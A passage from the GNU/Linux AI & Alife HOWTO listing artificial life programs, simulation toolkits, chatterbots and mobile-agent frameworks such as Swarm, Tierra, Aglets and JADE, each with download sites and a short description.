Biome is a C++ library aimed at individual-based/agent-based simulations. It is somewhat similar to Swarm, EcoSim or Simex but tries to be more efficient and less monolithic without compromising object- oriented design. Currently there is an event based scheduling system, a C++ified Mersenne-Twister RNG, several general analysis classes, some Qt-based GUI classes, a very basic persistence/database framework (used also for parameter storage) and many other small useful things.

CASE

  • Web site: www.iu.hio.no/~cell/
  • FTP site: ftp.iu.hio.no/pub/

CASE (Cellular Automaton Simulation Environment) is a C++ toolkit for visualizing discrete models in two dimensions: so-called cellular automata. The aim of this project is to create an integrated framework for creating generalized cellular automata using the best, standardized technology of the day.

EcoSim

  • Web site: offis.offis.uni-oldenburg.de/projekte/ecotools/project_ecotools4.htm

In EcoSim an ecosystem is described by all static and dynamic properties of the individuals involved in the system as well as time varying properties of the environment. Individuals change their state over time or due to internal and external events. The environment is also defined via dynamic objects which can change. Supports on the fly analysis and animation of generated data. It is a C++ class library designed to support individual-oriented modelling and simulation of ecological systems.

Integrating Modelling Toolkit

  • Web site: flock.cbl.umces.edu/imt/

The Integrating Modelling Toolkit (IMT) is a generic, comprehensive, and extensible set of abstractions allowing definition and use of interoperable model components. Modellers create an IMT "world" made of IMT "agents" that will perform each a particular phase of a modelling task. The core set of IMT agents can describe generic, modular, distributed model components, either native to the IMT or integrating existing simulation toolkits, specialized for tasks that range from simple calculation of functions in an interpreted language to spatially explicit simulation, model optimization, GIS analysis, visualization and advanced statistical analysis. IMT agents are designed to easily "glue" together in higher-level simulations integrating different modelling paradigms and toolkits. The IMT can be easily extended by users and developers through a convenient plug-in mechanism

MAML

  • Web site: www.syslab.ceu.hu/maml/

The current version of MAML is basically an extension to Objective-C (using the Swarm libraries). It consists of a couple of 'macro-keywords' that define the general structure of a simulation. The remaining must be filled with pure swarm-code. A MAML-to-Swarm (named xmc) compiler is also being developed which compiles the source code into a swarm application.

Simex

  • Web site: www.nmsr.labmed.umn.edu/nmsr/simex/

The SIMEX package contains a number of C++ classes that make it easier to build discrete-event, micropopulation models. (There is also some support for differential equation models.) It comes with a tuturial, quite a few examples and fairly decent documentation.

Swarm

  • Web site: www.swarm.org
  • FTP site: ftp.swarm.org/pub/swarm/

The swarm Alife simulation kit. Swarm is a simulation environment which facilitates development and experimentation with simulations involving a large number of agents behaving and interacting within a dynamic environment. It consists of a collection of classes and libraries written in Objective-C and allows great flexibility in creating simulations and analyzing their results. It comes with three demos and good documentation.

5.2 Alife & CS software kits, applications, etc.

These are various applications, software kits, etc. meant for research in the field of artificial life. Their ease of use will vary, as they were designed to meet some particular research interest more than as an easy to use commercial package.

Achilles

  • Web site: achilles.sourceforge.net

Achilles is an evolution simulation based on Larry Yaeger's PolyWorld. It uses Hebbian neural networks, and an extremely simplified physical model that allows virtual organisms to interact freely in a simulated environment.

Avida

  • Web site: dllab.caltech.edu/avida/

The computer program avida is an auto-adaptive genetic system designed primarily for use as a platform in Artificial Life research. The avida system is based on concepts similar to those employed by the tierra program, that is to say it is a population of self-reproducing strings with a Turing-complete genetic basis subjected to Poisson-random mutations. The population adapts to the combination of an intrinsic fitness landscape (self-reproduction) and an externally imposed (extrinsic) fitness function provided by the researcher. By studying this system, one can examine evolutionary adaptation, general traits of living systems (such as self-organization), and other issues pertaining to theoretical or evolutionary biology and dynamic systems.

BugsX

  • FTP site: ftp.de.uu.net/pub/research/ci/Alife/packages/bugsx/

Display and evolve biomorphs. It is a program which draws the biomorphs based on parametric plots of Fourier sine and cosine series and let's you play with them using the genetic algorithm.

The Cellular Automata Simulation System

  • Web site: www.cs.runet.edu/~dana/ca/cellular.html

The system consists of a compiler for the Cellang cellular automata programming language, along with the corresponding documentation, viewer, and various tools. Cellang has been undergoing refinement for the last several years (1991-1995), with corresponding upgrades to the compiler. Postscript versions of the tutorial and language reference manual are available for those wanting more detailed information. The most important distinguishing features of Cellang, include support for:

  • any number of dimensions;
  • compile time specification of each dimensions size; cell neighborhoods of any size (though bounded at compile time) and shape;
  • positional and time dependent neighborhoods;
  • associating multiple values (fields), including arrays, with each cell;
  • associating a potentially unbounded number of mobile agents [ Agents are mobile entities based on a mechanism of the same name in the Creatures system, developed by Ian Stephenson (ian@ohm.york.ac.uk).] with each cell; and
  • local interactions only, since it is impossible to construct automata that contain any global control or references to global variables.

Creatures Docking Station

  • Web site: http://ds.creatures.net/download.pl (free registration required)
  • Linux info: http://www.simons-rock.edu/~rlovison/

This is a free version of the Creatures3 ALife game. It has fewer species and a small 'space-station' world, but can connect to other worlds over the internet and (if you have the windows version of the game) can connect to your C3 world. The game itself revolves around breeding and training the alife creatures, 'Norns'. Its strikes a pretty nice balance between fun and science, or so I'm told.

dblife & dblifelib

  • FTP site: ftp.cc.gatech.edu/ac121/linux/games/amusements/life/

dblife: Sources for a fancy Game of Life program for X11 (and curses). It is not meant to be incredibly fast (use xlife for that:-). But it IS meant to allow the easy editing and viewing of Life objects and has some powerful features. The related dblifelib package is a library of Life objects to use with the program.

dblifelib: This is a library of interesting Life objects, including oscillators, spaceships, puffers, and other weird things. The related dblife package contains a Life program which can read the objects in the Library.

Drone

  • Web site: pscs.physics.lsa.umich.edu/Software/Drone/

Drone is a tool for automatically running batch jobs of a simulation program. It allows sweeps over arbitrary sets of parameters, as well as multiple runs for each parameter set, with a separate random seed for each run. The runs may be executed either on a single computer or over the Internet on a set of remote hosts. Drone is written in Expect (an extension to the Tcl scripting language) and runs under Unix. It was originally designed for use with the Swarm agent-based simulation framework, but Drone can be used with any simulation program that reads parameters from the command line or from an input file.

EcoLab

  • Web site: parallel.acsu.unsw.edu.au/rks/ecolab.html

EcoLab is a system that implements an abstract ecology model. It is written as a set of Tcl/Tk commands so that the model parameters can easily be changed on the fly by means of editing a script. The model itself is written in C++.

Game Of Life (GOL)

  • FTP site: ftp.oss.cc.gatech.edu/pub/linux/science/ai/life

GOL is a simulator for conway's game of life (a simple cellular automata), and other simple rule sets. The emphasis here is on speed and scale, in other words you can setup large and fast simulations.

gant

  • Web site: gant.sourceforge.net

This project is an ANSI C++ implementation of the Generalized Langton Ant, which lives on a torus.

gLife

  • Web site: glife.sourceforge.net
  • SourceForge site: sourceforge.net/project/glife/

This program is similiar to "Conway's Game of Life" but yet it is very different. It takes "Conway's Game of Life" and applies it to a society (human society). This means there is a very different (and much larger) ruleset than in the original game. Things need to be taken into account such as the terrain, age, sex, culture, movement, etc

Langton's Ant

  • Web site: theory.org/software/ant/

Langton's Ant is an example of a finite-state cellular automata. The ant (or ants) start out on a grid. Each cell is either black or white. If the ant is on a black square, it turns right 90 and moves forward one unit. If the ant is on a white square, it turns left 90 and moves forward one unit. And when the ant leaves a square, it inverts the color. The neat thing about Langton's Ant is that no matter what pattern field you start it out on, it eventually builds a "road," which is a series of 117 steps that repeat indefinitely, each time leaving the ant displaced one pixel vertically and horizontally.

LEE

  • Web site: dollar.biz.uiowa.edu/~fil/LEE/
  • FTP site: dollar.biz.uiowa.edu/pub/fil/LEE/

LEE (Latent Energy Environments) is both an Alife model and a software tool to be used for simulations within the framework of that model. We hope that LEE will help understand a broad range of issues in theoretical, behavioral, and evolutionary biology. The LEE tool described here consists of approximately 7,000 lines of C code and runs in both Unix and Macintosh platforms.

MATREM

  • Web site: www.phys.uu.nl/~romans/

Matrem is a computer program that simulates life. It belongs to the emerging science of "artificial life", which studies evolution and complex systems in general by simulation. Matrem is also a game, where players compete to create the fittest lifeform. Their efforts are the driving force behind the program.

Net-Life & ZooLife

  • FTP site: ftp.coe.uga.edu/users/jae/alife/
*(netlife-2.0.tar.gz contains both Net-Life and ZooLife)

Net-Life is a simulation of artificial-life, with neural "brains" generated via slightly random techniques. Net-Life uses artificial neural nets and evolutionary algorithms to breed artificial organisms that are similar to single cell organisms. Net-life uses asexual reproduction of its fittest individuals with a chance of mutation after each round to eventually evolve successful life-forms.

ZooLife is a simulation of artificial-life. ZooLife uses probabilistic methods and evolutionary algorithms to breed artificial organisms that are similar to plant/animal zoo organisms. ZooLife uses asexual reproduction with a chance of mutation.

POSES++

  • Web site: www.gpc.de/eindex.html

The POSES++ software tool supports the development and simulation of models. Regarding the simulation technique models are suitable reproductions of real or planned systems for their simulative investigation.

In all industrial sectors or branches POSES++ can model and simulate any arbitrary system which is based on a discrete and discontinuous behaviour. Also continuous systems can mostly be handled like discrete systems e.g., by quantity discretion and batch processing.

Primordial Soup

  • Web site: alife.santafe.edu/alife/software/psoup.html

Primordial Soup is an artificial life program. Organisms in the form of computer software loops live in a shared memory space (the "soup") and self-reproduce. The organisms mutate and evolve, behaving in accordance with the principles of Darwinian evolution.

The program may be started with one or more organisms seeding the soup. Alternatively, the system may be started "sterile", with no organisms present. Spontaneous generation of self-reproducing organisms has been observed after runs as short as 15 minutes.

Tierra

  • Web site: www.isd.atr.co.jp/~ray/tierra/

Tierra's written in the C programming language. This source code creates a virtual computer and its operating system, whose architecture has been designed in such a way that the executable machine codes are evolvable. This means that the machine code can be mutated (by flipping bits at random) or recombined (by swapping segments of code between algorithms), and the resulting code remains functional enough of the time for natural (or presumably artificial) selection to be able to improve the code over time.

TIN

  • Web site: www.jetlag.demon.nl
  • FTP site (old version): ftp.coe.uga.edu/users/jae/alife/

This program simulates primitive life-forms, equipped with some basic instincts and abilities, in a 2D environment consisting of cells. By mutation new generations can prove their success, and thus passing on "good family values".

The brain of a TIN can be seen as a collection of processes, each representing drives or impulses to behave a certain way, depending on the state/perception of the environment ( e.g. presence of food, walls, neighbors, scent traces) These behavior process currently are : eating, moving, mating, relaxing, tracing others, gathering food and killing. The process with the highest impulse value takes control, or in other words: the tin will act according to its most urgent need.

XLIFE

  • FTP site: ftp.cc.gatech.edu/ac121/linux/games/amusements/life/

This program will evolve patterns for John Horton Conway's game of Life. It will also handle general cellular automata with the orthogonal neighborhood and up to 8 states (it's possible to recompile for more states, but very expensive in memory). Transition rules and sample patterns are provided for the 8-state automaton of E. F. Codd, the Wireworld automaton, and a whole class of `Prisoner's Dilemma' games.

Xtoys

  • Web site: www.physics.mun.ca/~johnw/xtoys.html

xtoys contains a set of cellular automata simulators for X windows. Programs included are:

  • xising --- a two dimensional Ising model simulator,
  • xpotts --- the two dimensional Potts model,
  • xautomalab --- a totalistic cellular automaton simulator,
  • xsand --- for the Bak, Tang, Wiesenfeld sandpile model,
  • xwaves --- demonstrates three different wave equations,
  • schrodinger --- play with the Scrodinger equation in an adjustable potential.


GNU/Linux AI & Alife HOWTO: Agents

 Next Previous Contents

6. Agents

Also known as intelligent software agents or just agents, this area of AI research deals with simple applications of small programs that aid the user in his/her work. They can be mobile (able to stop their execution on one machine and resume it on another) or static (live in one machine). They are usually specific to the task (and therefore fairly simple) and meant to help the user much as an assistant would. The most popular (ie. widely known) use of this type of application to date are the web robots that many of the indexing engines (eg. webcrawler) use.

AgentK

  • FTP site: ftp.csd.abdn.ac.uk/pub/wdavies/agentk

This package synthesizes two well-known agent paradigms: Agent-Oriented Programming, Shoham (1990), and the Knowledge Query & Manipulation Language, Finin (1993). The initial implementation of AOP, Agent-0, is a simple language for specifying agent behaviour. KQML provides a standard language for inter-agent communication. Our integration (which we have called Agent-K) demonstrates that Agent-0 and KQML are highly compatible. Agent-K provides the possibility of inter-operable (or open) software agents, that can communicate via KQML and which are programmed using the AOP approach.

Agent

  • FTP site: www.cpan.org/modules/by-category/23_Miscellaneous_Modules/Agent/

The Agent is a prototype for an Information Agent system. It is both platform and language independent, as it stores contained information in simple packed strings. It can be packed and shipped across any network with any format, as it freezes itself in its current state.

agentTool

  • Web site: en.afit.af.mil/ai/agentool.htm
  • Download site: en.afit.af.mil/ai/_vti_bin/shtml.dll/registration.htm

Another Java based agent development framework. Fairly unique in that it emphasizes the use of a GUI for designing the system which will "semi-automatically synthesize multiagent systems to meet those requirements". You need a java enabled browser to download. :P

Aglets Workbench

  • Web site: www.trl.ibm.co.jp/aglets/

An aglet is a Java object that can move from one host on the Internet to another. That is, an aglet that executes on one host can suddenly halt execution, dispatch to a remote host, and resume execution there. When the aglet moves, it takes along its program code as well as its state (data). A built-in security mechanism makes it safe for a computer to host untrusted aglets. The Java Aglet API (J-AAPI) is a proposed public standard for interfacing aglets and their environment. J-AAPI contains methods for initializing an aglet, message handling, and dispatching, retracting, deactivating/activating, cloning, and disposing of the aglet. J-AAPI is simple, flexible, and stable. Application developers can write platform-independent aglets and expect them to run on any host that supports J-AAPI.

A.L.I.C.E.

  • Web site: www.alicebot.org

The ALICE software implements AIML (Artificial Intelligence Markup Language), a non-standard evolving markup language for creating chat robots. The primary design feature of AIML is minimalism. Compared with other chat robot languages, AIML is perhaps the simplest. The pattern matching language is very simple, for example permitting only one wild-card ('*') match character per pattern. AIML is an XML language, implying that it obeys certain grammatical meta-rules. The choice of XML syntax permits integration with other tools such as XML editors. Another motivation for XML is its familiar look and feel, especially to people with HTML experience.

Ara

  • Web site: wwwagss.informatik.uni-kl.de/Projekte/Ara/index_e.html

Ara is a platform for the portable and secure execution of mobile agents in heterogeneous networks. Mobile agents in this sense are programs with the ability to change their host machine during execution while preserving their internal state. This enables them to handle interactions locally which otherwise had to be performed remotely. Ara's specific aim in comparison to similar platforms is to provide full mobile agent functionality while retaining as much as possible of established programming models and languages.

BattleBots

  • Web site: www.bluefire.nu/battlebots/

AI programming game where you design the bot by selecting hardware and programming its CPU, then competing with other bots. Competitions can have teams and special rules for a game.

The hardware for use in your bot includes weapons, engine, scanners, CPU, etc. The programming lauguage is dependent on the CPU type and is similar to an assembly language.

Bee-gent

  • Web site: www2.toshiba.co.jp/beegent/index.htm

Bee-gent is a new type of development framework in that it is a 100% pure agent system. As opposed to other systems which make only some use of agents, Bee-gent completely "Agentifies" the communication that takes place between software applications. The applications become agents, and all messages are carried by agents. Thus, Bee-gent allows developers to build flexible open distributed systems that make optimal use of existing applications.

Bond

  • Web site: bond.cs.purdue.edu/

Yet another java agent system...

Bond is a Java based distributed object system and agent framework. It implements a message based middleware and associated services like directory, persistence, monitoring and security. Bond allows to easily build multi agent, distributed applications. Another application of Bond will be a Virtual Laboratory supporting data annotation and metacomputing.

Cadaver

  • Web site: www.erikyyy.de/cadaver/

Cadaver is a simulated world of cyborgs and nature in realtime. The battlefield consists of forests, grain, water, grass, carcass (of course) and lots of other things. The game server manages the game and the rules. You start a server and connect some clients. The clients communicate with the server using a very primitive protocol. They can order cyborgs to harvest grain, attack enemies or cut forest. The game is not intended to be played by humans! There is too much to control. Only for die-hards: Just telnet to the server and you can enter commands by hand. Instead the idea is that you write artificial intelligence clients to beat the other artificial intelligences. You can choose a language (and operating system) of your choice to do that task. It is enough to write a program that communicates on standard input and standard output channels. Then you can use programs like "socket" to connect your clients to the server. It is NOT needed to write TCP/IP code, although i did so :) The battle shall not be boring, and so there is the so called spyboss client that displays the action graphically on screen.

Cougaar

  • Web site: www.cougaar.org/

Cougaar is java-based architecture for the construction of large-scale distributed agent-based applications. It is the product of a multi-year DARPA research project into large scale agent systems and includes not only the core architecture but also a variety of demonstration, visualization and management components to simplify the development of complex, distributed applications. [Yet another java based agent system -- ed.]

D'Agent (was AGENT TCL)

  • Web site: agent.cs.dartmouth.edu/software/agent2.0/
  • FTP site: ftp.cs.dartmouth.edu/pub/agents/

A transportable agent is a program that can migrate from machine to machine in a heterogeneous network. The program chooses when and where to migrate. It can suspend its execution at an arbitrary point, transport to another machine and resume execution on the new machine. For example, an agent carrying a mail message migrates first to a router and then to the recipient's mailbox. The agent can perform arbitrarily complex processing at each machine in order to ensure that the message reaches the intended recipient.

Dunce

  • Web site: www.boswa.com/boswabits/

Dunce is a simple chatterbot (conversational AI) and a language for programming such chatterbots. It uses a basic regex pattern matching and a semi-neural rule/response firing mechanism (with excitement/decay cycles).

Dunce is listed about halfway down the page.

FIPA-OS

  • Web site: fipa-os.sourceforge.net
  • Secondary Web site: www.nortelnetworks.com/products/announcements/fipa/

FIPA-OS is an open source implementation of the mandatory elements contained within the FIPA specification for agent interoperability. In addition to supporting the FIPA interoperability concepts, FIPA-OS also provides a component based architecture to enable the development of domain specific agents which can utilise the services of the FIPA Platform agents. It is implemented in Java.

FishMarket

  • Web site: www.iiia.csic.es/Projects/fishmarket/

FM - The FishMarket project conducted at the Artificial Intelligence Research Institute (IIIA-CSIC) attempts to contribute in that direction by developing FM, an agent-mediated electronic auction house which has been evolved into a test-bed for electronic auction markets. The framework, conceived and implemented as an extension of FM96.5 (a Java-based version of the Fishmarket auction house), allows to define trading scenarios based on fish market auctions (Dutch auctions). FM provides the framework wherein agent designers can perform controlled experimentation in such a way that a multitude of experimental market scenarios--that we regard as tournament scenarios due to the competitive nature of the domain-- of varying degrees of realism and complexity can be specified, activated, and recorded; and trading (buyer and seller) heterogeneous (human and software) agents compared, tuned and evaluated.

GNU Robots

  • Web site: www.gnu.org/software/robots/robots.html

GNU Robots is a game/diversion where you construct a program for a little robot, then watch him explore a world. The world is filled with baddies that can hurt you, objects that you can bump into, and food that you can eat. The goal of the game is to collect as many prizes as possible before are killed by a baddie or you run out of energy. Robots can be written in Guile scheme or using a GUI.

Grasshopper

  • Web site: www.grasshopper.de/

Another Java agent system. Full featured and actively developed. Commercial, but free. Historically targeted at embedded systems.

Hive

  • Web site: hive.sourceforge.net
  • Web site: www.hivecell.net

Hive is a Java software platform for creating distributed applications. Using Hive, programmers can easily create systems that connect and use data from all over the Internet. At its heart, Hive is an environment for distributed agents to live, communicating and moving to fulfill applications. We are trying to make the Internet alive.

ICM

  • Web site: www.nar.fujitsulabs.com/icm/
  • SourceForge site: sourceforge.net/projects/networkagent/

The Inter-Agent Communication Model (ICM) is a communication mechanism that can be used for sending messages between agents in an asynchronous fashion. Its intended application area is as a transportation mechanism for agent communication languages (ACLs), such as KQML and FIPA's ACL.

Jacomma

  • Web site: jacomma.sourceforge.net
  • SourceForge site: sourceforge.net/projects/jacomma/

Jacomma is an agent development platform/framework for developing distributed, mobile, and reactive information agents with heterogeneous communication capabilities, in Java and JPython.

Jacomma provides a development framework and an execution environment, which sits on top of the Inter-Agent Communication Model infrastructure. The ICM defines a communication protocol, a store and forward messaging architecture, and low level communication infrastructure for message exchange. Communication is truly asynchronous, based on TCP sockets.

ICM has an entry in this howto, or you can find it via a link off the site.

Jade

  • Web site: sharon.cselt.it/projects/jade/

JADE (Java Agent DEvelopment Framework) is a software framework fully implemented in Java language. It simplifies the implementation of multi-agent systems through a middle-ware that claims to comply with the FIPA specifications and through a set of tools that supports the debugging and deployment phase. The agent platform can be distributed across machines (which not even need to share the same OS) and the configuration can be controlled via a remote GUI. The configuration can be even changed at run-time by moving agents from one machine to another one, as and when required.

JAFMAS

  • Web site: www.ececs.uc.edu/~abaker/JAFMAS

JAFMAS provides a framework to guide the coherent development of multiagent systems along with a set of classes for agent deployment in Java. The framework is intended to help beginning and expert developers structure their ideas into concrete agent applications. It directs development from a speech-act perspective and supports multicast and directed communication, KQML or other speech-act performatives and analysis of multiagent system coherency and consistency.

Only four of the provided Java classes must be extended for any application. Provided examples of the N-Queens and Supply Chain Integration use only 567 and 1276 lines of additional code respectively for implementation.

JAM Agent

  • Web site: members.home.net/marcush/IRS/

JAM supports both top-down, goal-based reasoning and bottom-up data-driven reasoning. JAM selects goals and plans based on maximal priority if metalevel reasoning is not used, or user-developed metalevel reasoning plans if they exist. JAM's conceptualization of goals and goal achievement is more classically defined (UMPRS is more behavioral performance-based than truly goal-based) and makes the distinction between plans to achieve goals and plans that simply encode behaviors. Goal-types implemented include achievement (attain a specified world state), maintenance (re-attain a specified world state), and performance. Execution of multiple simultaneous goals are supported, with suspension and resumption capabilities for each goal (i.e., intention) thread. JAM plans have explicit precondition and runtime attributes that restrict their applicability, a postcondition attribute, and a plan attributes section for specifying plan/domain-specific plan features. Available plan constructs include: sequencing, iteration, subgoaling, atomic (i.e., non-interruptable) plan segments, n-branch deterministic and non-deterministic conditional execution, parallel execution of multiple plan segments, goal-based or world state-based synchronization, an explicit failure-handling section, and Java primitive function definition through building it into JAM as well as the invocation of predefined (i.e., legacy) class members via Java's reflection capabilities without having to build it into JAM.

JATLite

  • Web site: java.stanford.edu/java_agent/html/

JATLite is providing a set of java packages which makes easy to build multi-agent systems using Java. JATLite provides only light-weight, small set of packages so that the developers can handle all the packages with little efforts. For flexibility JATLite provides four different layers from abstract to Router implementation. A user can access any layer we are providing. Each layer has a different set of assumptions. The user can choose an appropriate layer according to the assumptions on the layer and user's application. The introduction page contains JATLite features and the set of assumptions for each layer.

JATLiteBeans

  • Web site: waitaki.otago.ac.nz/JATLiteBean/

  • Improved, easier-to-use interface to JATLite features including KQML message parsing, receiving, and sending.
  • Extensible architecture for message handling and agent "thread of control" management
  • Useful functions for parsing of simple KQML message content
  • JATLiteBean supports automatic advertising of agent capabilities to facilitator agents
  • Automatic, optional, handling of the "forward" performative
  • Generic configuration file parser
  • KQML syntax checker

Java(tm) Agent Template

  • Web site: cdr.stanford.edu/ABE/JavaAgent.html

The JAT provides a fully functional template, written entirely in the Java language, for constructing software agents which communicate peer-to-peer with a community of other agents distributed over the Internet. Although portions of the code which define each agent are portable, JAT agents are not migratory but rather have a static existence on a single host. This behavior is in contrast to many other "agent" technologies. (However, using the Java RMI, JAT agents could dynamically migrate to a foreign host via an agent resident on that host). Currently, all agent messages use KQML as a top-level protocol or message wrapper. The JAT includes functionality for dynamically exchanging "Resources", which can include Java classes (e.g. new languages and interpreters, remote services, etc.), data files and information inlined into the KQML messages.

Kafka

  • Web site: www.fujitsu.co.jp/hypertext/free/kafka/

Kafka is yet another agent library designed for constructing multi-agent based distributed applications. Kafka is a flexible, extendable, and easy-to-use java class library for programmers who are familiar with distributed programming. It is based on Java's RMI and has the following added features:

  • Runtime Reflection: Agents can modify their behaviour (program codes) at runtime. The behaviour of the agent is represented by an abstract class Action. It is useful for remote maintenance or installation services.
  • Remote Evaluation: Agents can receive and evaluate program codes (classes) with or without the serialized object. Remote evaluation is a fundamental function of a mobile agent and is thought to be a push model of service delivery.
  • Distributed Name Service: Agents have any number of logical names that don't contain the host name. These names can be managed by the distributed directories.
  • Customizable security policy: a very flexible, customizable, 3-layered security model is implemented in Kafka.
  • 100% Java and RMI compatible: Kafka is written completely in Java. Agent is a Java RMI server object itself. So, agents can directly communicate with other RMI objects.

Khepera Simulator

  • Web site: diwww.epfl.ch/lami/team/michel/khep-sim/

Khepera Simulator is a public domain software package written by Olivier MICHEL during the preparation of his Ph.D. thesis, at the Laboratoire I3S, URA 1376 of CNRS and University of Nice-Sophia Antipolis, France. It allows to write your own controller for the mobile robot Khepera using C or C++ languages, to test them in a simulated environment and features a nice colorful X11 graphical interface. Moreover, if you own a Khepera robot, it can drive the real robot using the same control algorithm. It is mainly oriented toward to researchers studying autonomous agents.

lyntin

  • Web site: lyntin.sourceforge.net/

Lyntin is an extensible Mud client and framework for the creation of autonomous agents, or bots, as well as mudding in general. Lyntin is centered around Python, a dynamic, object-oriented, and fun programming language and based on TinTin++ a lovely mud client.

Mole

  • Web site: mole.informatik.uni-stuttgart.de/

Mole is an agent system supporting mobile agents programmed in Java. Mole's agents consist of a cluster of objects, which have no references to the outside, and as a whole work on tasks given by the user or another agent. They have the ability to roam a network of "locations" autonomously. These "locations" are an abstraction of real, existing nodes in the underlying network. They can use location-specific resources by communicating with dedicated agents representing these services. Agents are able to use services provided by other agents and to provide services as well.

Narval

  • Web site: www.logilab.org

Narval is the acronym of "Network Assistant Reasoning with a Validating Agent Language". It is a personal network assistant based on artificial intelligence and agent technologies. It executes recipes (sequences of actions) to perform tasks. It is easy to specify a new action using XML and to implement it using Python. Recipes can be built and debugged using a graphical interface.

NeL

  • Web site: www.nevrax.org

NeL is actually a game development library (for massive multi-player games), but I'm including it here as it (will) include a fairly sizable AI library. Here's a blurb from the whitepaper:

The purpose of the AI library is to provide a pragmatic approach to creating a distributed agents platform. Its focus is agents; individual entities that communicate regardless of location, using an action-reaction model.

OAA

  • Web site: www.ai.sri.com/~oaa/

The Open Agent Architecture is a framework in which a community of software agents running on distributed machines can work together on tasks assigned by human or non-human participants in the community. Distributed cooperation and high-level communication are two ideas central to the foundation of the OAA.

It defines an interagent communication language and supports multiple platforms and programming languages.

PAI

  • Web site: utenti.tripod.it/Claudio1977/pai.html

AI (Programmable Artificial Intelligence) is a program capable of having a conversation in its mother tongue, English. Written in C++.

Penguin!

  • FTP site: www.perl.org/CPAN/modules/by-category/23_Miscellaneous_Modules/Penguin/FSG/

Penguin is a Perl 5 module. It provides you with a set of functions which allow you to:

  • send encrypted, digitally signed Perl code to a remote machine to be executed.
  • receive code and, depending on who signed it, execute it in an arbitrarily secure, limited compartment.
The combination of these functions enable direct Perl coding of algorithms to handle safe internet commerce, mobile information-gathering agents, "live content" web browser helper apps, distributed load-balanced computation, remote software update, distance machine administration, content-based information propagation, Internet-wide shared-data applications, network application builders, and so on.

Ps-i

  • Web site: ps-i.sourceforge.net

Ps-i is an environment for running agent-based simulations. It is cross-platform, with binaries available for Win32. Features include:

  • declarative language for model specification
  • industry standard Tcl/Tk scripting with built-in routine optimization, speculative evaluation and xf86 JIT compiler users can create complex models without sacrificing perfomance
  • user friendly interface
  • save and restore program runs
  • change model parameters on the fly
  • data visualization: field display with multiple agent shapes and color, statistics window, agent viewer, routine browser and highlight agents tool

RealTimeBattle

  • Web site: www.lysator.liu.se/realtimebattle/

RealTimeBattle is a programming game, in which robots controlled by programs are fighting each other. The goal is to destroy the enemies, using the radar to examine the environment and the cannon to shoot.

  • Game progresses in real time, with the robot programs running as child processes to RealTimeBattle.
  • The robots communicate with the main program using the standard input and output.
  • Robots can be constructed in almost any programming language.
  • Maximum number of robots can compete simultaneously.
  • A simple messaging language is used for communication, which makes it easy to start constructing robots.
  • Robots behave like real physical object.
  • You can create your own arenas.
  • Highly configurable.

Remembrance Agents

  • Web site: rhodes.www.media.mit.edu/people/rhodes/RA/

Remembrance Agents are a set of applications that watch over a user's shoulder and suggest information relevant to the current situation. While query-based memory aids help with direct recall, remembrance agents are an augmented associative memory. For example, the word-processor version of the RA continuously updates a list of documents relevant to what's being typed or read in an emacs buffer. These suggested documents can be any text files that might be relevant to what you are currently writing or reading. They might be old emails related to the mail you are currently reading, or abstracts from papers and newspaper articles that discuss the topic of your writing.

RoboTournament

  • Web site: robotournament.sourceforge.net/

RoboTournament is a RoboRally inspired game where players program their robots to vanquish their opponents. RoboTournament features: Multiple Game Types: Death Match, Rally, and Capture The Flag. Multi-Player through TCP/IP, Six weapons including BFG, Map Editor, and a wide variety of board elements.

SimRobot

  • Web site: www.informatik.uni-bremen.de/~simrobot/
  • FTP site: ftp.uni-bremen.de/pub/ZKW/INFORM/simrobot/

SimRobot is a program for simulation of sensor based robots in a 3D environment. It is written in C++, runs under UNIX and X11 and needs the graphics toolkit XView.

  • Simulation of robot kinematics
  • Hierarchically built scene definition via a simple definition language
  • Various sensors built in: camera, facette eye, distance measurement, light sensor, etc.
  • Objects defined as polyeders
  • Emitter abstractly defined; can be interpreted e.g. as light or sound
  • Camera images computed according to the raytracing or Z-buffer algorithms known from computer graphics
  • Specific sensor/motor software interface for communicating with the simulation
  • Texture mapping onto the object surfaces: bitmaps in various formats
  • Comprehensive visualization of the scene: wire frame w/o hidden lines, sensor and actor values
  • Interactive as well as batch driven control of the agents and operation in the environment
  • Collision detection
  • Extendability with user defined object types
  • Possible socket communication to e.g. the Khoros image processing software

Sulawesi

  • Web site ???: wearables.essex.ac.uk/sulawesi/

A framework called Sulawesi has been designed and implemented to tackle what has been considered to be important challenges in a wearable user interface. The ability to accept input from any number of modalities, and perform if necessary a translation to any number of modal outputs. It does this primarily through a set of proactive agents to act on the input.

TclRobots

  • FTP site: ftp.neosoft.com/pub/tcl/sorted/games/tclrobots-2.0/
  • Redhat Patch: ftp.coe.uga.edu/users/jae/ai/tclrobots-redhat.patch
  • RPMs (search at): http://rufus.w3.org/

TclRobots is a programming game, similar to 'Core War'. To play TclRobots, you must write a Tcl program that controls a robot. The robot's mission is to survive a battle with other robots. Two, three, or four robots compete during a battle, each running different programs (or possibly the same program in different robots.) Each robot is equipped with a scanner, cannon, drive mechanism. A single match continues until one robot is left running. Robots may compete individually, or combine in a team oriented battle. A tournament can be run with any number of robot programs, each robot playing every other in a round-robin fashion, one-on-one. A battle simulator is available to help debug robot programs.

The TclRobots program provides a physical environment, imposing certain game parameters to which all robots must adhere. TclRobots also provides a view on a battle, and a controlling user interface. TclRobots requirements: a wish interpreter built from Tcl 7.4 and Tk 4.0.

TKQML

  • Web site: www.csee.umbc.edu/tkqml/

TKQML is a KQML application/addition to Tcl/Tk, which allows Tcl based systems to communicate easily with a powerful agent communication language.

The Tocoma Project

  • Web site: www.tacoma.cs.uit.no/

An agent is a process that may migrate through a computer network in order to satisfy requests made by clients. Agents are an attractive way to describe network-wide computations.

The TACOMA project focuses on operating system support for agents and how agents can be used to solve problems traditionally addressed by operating systems. We have implemented a series of prototype systems to support agents.

TACOMA Version 1.2 is based on UNIX and TCP. The system supports agents written in C, Tcl/Tk, Perl, Python, and Scheme (Elk). It is implemented in C. This TACOMA version has been in public domain since April 1996.

We are currently focusing on heterogeneity, fault-tolerance, security and management issues. Also, several TACOMA applications are under construction. We implemented StormCast 4.0, a wide-area network weather monitoring system accessible over the internet, using TACOMA and Java. We are now in the process of evaluating this application, and plan to build a new StormCast version to be completed by June 1997.

Ummon

  • Web site: www.spacetide.com/projects/ummon/

Ummon is an advanced Open Source chatterbot. The main principle of the bot is that it has no initial knowledge of either words or grammar; it learns everything "on the fly." Numerous AI techniques will be explored in the development of Ummon to achieve realistic "human" communication with support for different, customizable personalities.

UMPRS Agent

  • Web site: members.home.net/marcush/IRS/

